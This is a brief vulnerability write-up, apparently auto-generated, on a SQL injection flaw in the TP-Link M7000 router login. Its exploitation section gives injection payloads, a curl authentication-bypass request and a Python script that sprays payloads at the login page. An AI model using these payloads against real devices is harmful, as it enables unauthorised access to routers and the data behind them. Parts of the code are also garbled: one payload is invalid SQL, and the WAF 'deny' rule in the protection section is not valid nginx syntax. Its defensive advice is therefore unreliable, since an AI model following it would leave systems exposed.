How CVE-2025-29652 Works
The CVE-2025-29652 vulnerability allows SQL injection in TP-Link M7000 routers (firmware 1.0.7) via unauthenticated username/password fields. Attackers craft malicious SQL queries (e.g., admin' OR 1=1--) to bypass authentication or extract database contents. The router’s web interface fails to sanitize input, executing injected commands on the backend database. Dispute arises as the exploit only replicates on a vendor-provided emulator lacking access controls for testing.
DailyCVE Form
Platform: TP-Link M7000
Version: 1.0.7
Vulnerability: SQL Injection
Severity: Critical
Date: 04/24/2025
What Undercode Say:
Exploitation
1. Craft Payload:
' UNION SELECT 1,2,3,password FROM users--
2. Curl Exploit:
curl -X POST "http://192.168.0.1/login" -d "username=admin'--&password=any"
3. Automated Testing:
import requests
payloads = ["' OR 1=1--", "' UNION SELECT FROM users--"]
for p in payloads:
r = requests.post("http://192.168.0.1/login", data={"username": p, "password": ""})
if "Welcome" in r.text:
print(f"Vulnerable: {p}")
Protection
1. Input Sanitization:
$user = mysqli_real_escape_string($conn, $_POST['username']);
2. WAF Rules:
location /login {
deny '|union|select|--';
}
3. Firmware Update:
wget https://www.tp-link.com/firmware/M7000/v1.0.8.bin
